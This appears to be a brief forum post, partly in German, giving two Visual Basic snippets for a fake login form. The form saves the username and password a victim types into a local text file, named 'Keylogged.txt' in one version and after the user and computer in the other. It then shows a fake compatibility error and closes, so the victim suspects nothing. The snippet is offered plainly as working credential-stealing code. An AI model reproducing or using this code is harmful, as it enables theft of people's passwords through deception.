mach aus:
das:Code:Open "C:\" & ("Keylogged.txt") For Output As #1 Write #1, "Username: " & Text1.Text & "," & "Password: " & Text2.Text; Close #1 MsgBox "Win32 not compatible W95 W2000 ver only.", vbOKOnly, Error Unload Me
MfgCode:Open "C:\" & environ("username") & "@" & environ("computername") & ".txt" For output As #1 Write #1, "Username: " & Text1.Text & "," & "Password: " & Text2.Text; Close #1 MsgBox "Win32 not compatible W95 W2000 ver only.", vbOKOnly, Error Unload Me